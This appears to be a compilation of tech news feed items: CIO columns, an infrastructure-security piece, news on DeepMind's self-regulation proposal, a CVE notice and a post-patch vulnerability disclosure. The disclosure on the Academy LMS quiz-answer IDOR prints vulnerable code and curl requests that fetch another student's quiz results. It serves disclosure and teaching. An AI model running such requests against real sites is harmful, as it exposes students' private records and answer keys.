I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.

I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.

How the routing actually starts

The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.

Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.

The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.

Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.

What it costs before anyone notices

The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.

I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that CIOs are increasingly held accountable for AI they do not fully control is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.

What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.

What the leaders who stayed in the conversation did

The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.

That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.

They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.

None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.

If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

5 steps to secure your infrastructure in the frontier model era

Fri, 17 Jul 2026 11:09:42 +0200

The industry conversation around AI infrastructure has narrowed to a single dimension: scale. The focus is on GPUs, power, cooling and the massive physical footprint required to train and run AI agents and models. At the same time, organizations are adjusting to the speed and scale with which AI is identifying vulnerabilities — which is much faster than remediation can be started.

However, almost no one is talking about the infrastructure layer that actually determines whether AI workloads remain secure, resilient and compliant. This is the layer that runs the world’s most sensitive, regulated, high‑value workloads. Thankfully, it already has the guardrails needed for an era where vulnerabilities are discovered faster than ever. But are they being set correctly?

With more than one billion AI agents expected by 2029, organizations need a plan for their infrastructure layer to withstand threats from new frontier models, maintain uptime and protect data sovereignty. As they scale AI deployments, enterprises must secure the infrastructure AI depends on.

These five steps outline what organizations can do now to strengthen their infrastructure posture using proven, enterprise‑grade practices for current and future threats.

Step 1: Build on infrastructure engineered for security and resilience

Infrastructure must be secure by design, not secured after deployment. The systems that have historically supported the world’s most critical workloads — from global payments to national‑scale operations — were built with this principle at their core. If you’ve already invested in systems designed for mission-critical workloads, you’ve checked this first box.

Enterprise‑grade systems have been engineered with multilayered security controls, pervasive encryption, confidential computing and hardware‑level protections that make exploitation dramatically harder. A frontier model in the hands of a bad actor can chain weaknesses faster than humans can patch them — unless the underlying infrastructure is built to absorb and deflect that pressure.

When I meet with clients, I often tell them what our own security teams operate under: we assume vulnerabilities will continue to be discovered and we design for that reality. That mindset is what separates infrastructure that survives frontier‑model pressure from infrastructure that collapses under it. These systems continue to evolve with predictive failure analysis and accelerated recovery, allowing systems to continue operating even during investigation and remediation.

Step 2: Treat uptime and resilience as a security requirement

If your infrastructure fails, your workloads will too. These systems depend on uninterrupted access to data and compute, and even seconds of downtime can compound operational and security risk. Enterprise‑grade platforms deliver near‑continuous availability through redundant hardware paths and intelligent system recovery.

The easiest fix? Ample resources and an up-to-date infrastructure foundation. Too often, a security problem is really an availability problem that turned into a security problem. When systems fall behind on maintenance, capacity or recovery readiness, they create the exact openings a frontier model can exploit. A delayed maintenance cycle or a recovery process that takes too long becomes the opening a frontier model can exploit. Resilience is not just about uptime. It is a security control. And this will not be the last time a frontier model tests the limits of that resilience.

Data resilience is equally critical. Cyber‑resilient storage systems with immutable backups and rapid recovery capabilities ensure that critical data remains protected and available even after a cyber incident or disaster.

Step 3: Operate for continuous discovery, not periodic defense

The idea that you can prevent every vulnerability is outdated. The more realistic model is continuous discovery — finding, prioritizing and addressing issues faster than they can be exploited. Organizations must operate as if vulnerabilities will be found faster than ever. Instead of relying on static defenses, they should emphasize layered controls, rapid triage, continuous delivery of fixes and coordinated disclosure.

Frontier models in the hands of bad actors can amplify security challenges by connecting vulnerabilities. They can chain misconfigurations, outdated components and privilege gaps into a viable attack route in minutes. And the more outdated or inconsistent an environment is, the easier that chaining becomes.

Modern operational‑intelligence tooling helps them surface that risk, prioritize what matters and act before an attacker can exploit the gaps. These platforms help organizations understand where they are exposed, identify which maintenance issues carry the highest operational and security risk, and reduce the blind spots that frontier‑model attackers are increasingly adept at exploiting.

It’s critical to assess how you manage your vulnerabilities. Internal processes should address severe vulnerabilities within hours, regardless of whether they are discovered by humans, traditional tooling or AI‑driven techniques. As AI accelerates vulnerability chaining, this posture maintains operational integrity and reduces exposure.

Step 4: Use AI to defend AI

Leading organizations are integrating AI‑driven threat detection directly into their infrastructure. On operating systems like z/OS, AI‑based analytics can identify anomalous and potentially malicious data access, reducing investigation time and limiting impact.

Beyond detection, autonomous security models are emerging that continuously govern risk, investigate threats and enforce resilience across identities, data, applications, cloud and networks. Across the industry, we’re seeing the rise of autonomous security frameworks that use AI to assess posture, detect threats and harden controls without waiting for human intervention. Combined with modern AI‑accelerated processors, these capabilities allow threats to be analyzed and mitigated directly within the infrastructure itself.

Step 5: Join a broader ecosystem fighting frontier model threats

No organization can face frontier model threats alone. These risks require coordinated industry action. Frontier models give both good and bad actors the ability to analyze codebases, chain vulnerabilities and probe infrastructure at a scale that no single enterprise can counter on its own.

Across the industry, coalitions are emerging to assess and remediate vulnerabilities discovered by frontier-class models and to help enterprises build AI resilience. Initiatives like Project Glasswing, Project QuiltWorks and the Frontier AI Alliance are examples of how providers, consultancies and security firms are beginning to coordinate their response to AI-accelerated threats.

Organizations can also benefit from independent assessments that evaluate readiness for agentic-enabled threats and identify gaps across their infrastructure. These assessments help teams understand where they are exposed, how frontier models might chain those exposures together, and what actions will reduce the likelihood of a high-impact event.

Participating in these programs is one of the most concrete steps enterprises can take today to strengthen their AI infrastructure posture.

Your AI security depends on the infrastructure you choose

AI is accelerating both innovation and risk. The organizations that succeed will be those that build on resilient, secure infrastructure, prioritize uptime as a security control, operate with continuous discovery, use AI to defend AI and participate in the global response to frontier‑model threats. In the end, your ability to scale AI safely comes down to the infrastructure you trust to run it.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers

Fri, 17 Jul 2026 09:23:36 +0200

Author: Shikhali Jamalzade
GitHub: alisalive
LinkedIn: camalzads
Type: Independent Security Research | WordPress Plugin CVE Research

This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.

Background: Why Academy LMS

My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.

Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?

This turned out to be exactly the right question.

Understanding the Architecture

Academy LMS uses two parallel systems for handling API requests.

The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.

The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.

When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.

The Quiz attempts controller told a different story.

Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' => '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.

The Vulnerability: Two Separate Failure Points

The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.

Failure point one: the target user was read from the request, not the session.

// addons/quizzes/api/quiz-attempts.php, line ~305
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
    $student_id = get_current_user_id();
}

The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.

Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.

// lines ~308-315
$is_administrator = current_user_can( 'administrator' );
$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );
$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );
$is_public        = \Academy\Helper::is_public_course( $course_id );

if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {
    // returns attempt details
}

Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.

The database query confirmed the full impact:

// classes/query.php, get_quiz_attempt_details()
"SELECT
    attempt_answers.attempt_id,
    attempt_answers.user_id,
    attempt_answers.is_correct,
    attempt_answers.answer as given_answer,
    quiz_answers.answer_title as correct_answer,
    quiz_answers.answer_content,
    quiz_answers.is_correct as is_correct_answer,
    quiz_questions.question_title,
    quiz_questions.question_type,
    ...
FROM {$wpdb->prefix}academy_quiz_attempt_answers as attempt_answers
LEFT JOIN {$wpdb->prefix}academy_quiz_answers as quiz_answers
    ON attempt_answers.question_id = quiz_answers.question_id
WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"

The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.

The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.

Both were confirmed exploitable during testing.

The Contrast with the Fixed Code

What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:

// includes/api/notes.php (fixed)
public function get_user_notes( $request ) {
    $user_id = get_current_user_id();
    // ...
}

No $request->get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.

This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.

Live Proof of Concept

I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.

Actors in the test:

Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course
Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker

The attacker authenticates normally and obtains a valid REST nonce:

curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null
curl -s -b cj.txt -c cj.txt \
  --data-urlencode 'log=pocsubscriber' \
  --data-urlencode 'pwd=PASSWORD' \
  --data-urlencode 'wp-submit=Log In' \
  --data-urlencode 'testcookie=1' \
  "http://TARGET/wp-login.php" -o /dev/null

NONCE=$(curl -s -b cj.txt \
  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")

The attacker then sends a request supplying the victim’s user_id and attempt_id:

curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \
  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&user_id=5"

The response:

{
  "3": {
    "attempt_id": "3",
    "user_id": "5",
    "is_correct": true,
    "given_answer": [],
    "correct_answer": [
      {
        "answer_id": "2",
        "quiz_id": "33",
        "answer_title": "SECRET_CORRECT_Paris",
        "answer_order": "1"
      }
    ],
    "answer_content": "CORRECT_ANSWER_CONTENT",
    "question_title": "Capital of France?",
    "question_type": "true_false"
  }
}

User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:

curl -s -b cj.txt \
  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \
  --data-urlencode 'security=ACADEMY_NONCE' \
  --data-urlencode 'course_id=32' \
  --data-urlencode 'attempt_id=3' \
  --data-urlencode 'user_id=5' \
  "http://TARGET/wp-admin/admin-ajax.php"

Response: "success": true, same data.

Impact Assessment

The impact has two distinct dimensions.

The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.

The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.

The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.

CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).

Disclosure Timeline

Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02

Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02

Submitted to WPScan vulnerability database with CVE request: 2026–07–02

WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02

Fix confirmed in latest version by code review (all $request->get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10

Write-up published: 2026–07–10

The Fix

The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:

// Before (vulnerable):
$student_id = $request->get_param( 'user_id' );
if ( ! $student_id ) {
    $student_id = get_current_user_id();
}

// After (fixed):
$current_user_id = get_current_user_id();

The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.

What This Teaches

A few things stood out during this research that are worth naming explicitly.

The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.

The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.

Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.

If you found this useful, feel free to connect on LinkedIn or check out my projects on GitHub.

How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix

Thu, 16 Jul 2026 20:02:44 +0200

Methodology

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The bottom line: A context gap that more retrieval alone won’t close

CVE-2026-12382 | Red Hat Ansible Automation Platform mTLS Route Configuration config/headers.conf remove_request_headers Subject injection (EUVD-2026-44739)

Thu, 16 Jul 2026 18:54:49 +0200

A vulnerability classified as critical was found in Red Hat Ansible Automation Platform. The affected element is the function remove_request_headers of the file config/headers.conf of the component mTLS Route Configuration. Executing a manipulation of the argument Subject can lead to injection. This vulnerability is registered as CVE-2026-12382. It is possible to launch the attack remotely. No exploit is available.

DeepMind CEO pushes for AI industry self-regulation

Thu, 16 Jul 2026 14:33:47 +0200

Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on artificial general intelligence (AGI) and national security.

But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.

“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” Hassabis wrote. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”

He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.

Hassabis proposed that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants be encouraged to adopt best practices such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.

This is not the first time Hassabis has expressed worries about AGI.

DeepMind was involved in an earlier US government initiative evaluating AI safety, alongside Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”

The rest of the world may have concerns

Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.

“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst Nader Henein. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”

And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries.

“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out.

“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”

Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.

Walmart’s former director of cybersecurity Steven Eric Fisher, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”

He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”

Aman Mahapatra, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how FINRA operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.

“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”

Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.

“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”

Some love the proposal

An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.

“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”

He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the 1979 Three Mile Island partial reactor meltdown “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”

For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.

“Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”

However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.”

Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas OpenClaw is also targeting.”

DeepMind CEO pushes for AI industry self-regulation

Thu, 16 Jul 2026 14:33:34 +0200

But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.

This is not the first time Hassabis has expressed worries about AGI.

The rest of the world may have concerns

Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.

And, said Sanchit Vir Gogia, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries.

He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”

Carmi Levy, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.

Some love the proposal

An almost completely opposite stance came from Yuri Goryunov, CIO of consulting firm Acceligence, who applauded the proposed move.

For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.

This article first appeared on CIO.

Why your ERP training program is failing your employees

Thu, 16 Jul 2026 12:09:40 +0200

I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.

In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.

I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should stop blaming their ERP vendor when implementations fail. That argument still stands. But the training problem is a choice the organization makes. Most organizations spend less than 5% of their total ERP project budget on training and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.

After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.

Why vendor training falls short

Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.

That gap matters more than most organizations realize. Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.

Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.

A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.

There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.

What internal expertise looks like in practice

In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.

The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.

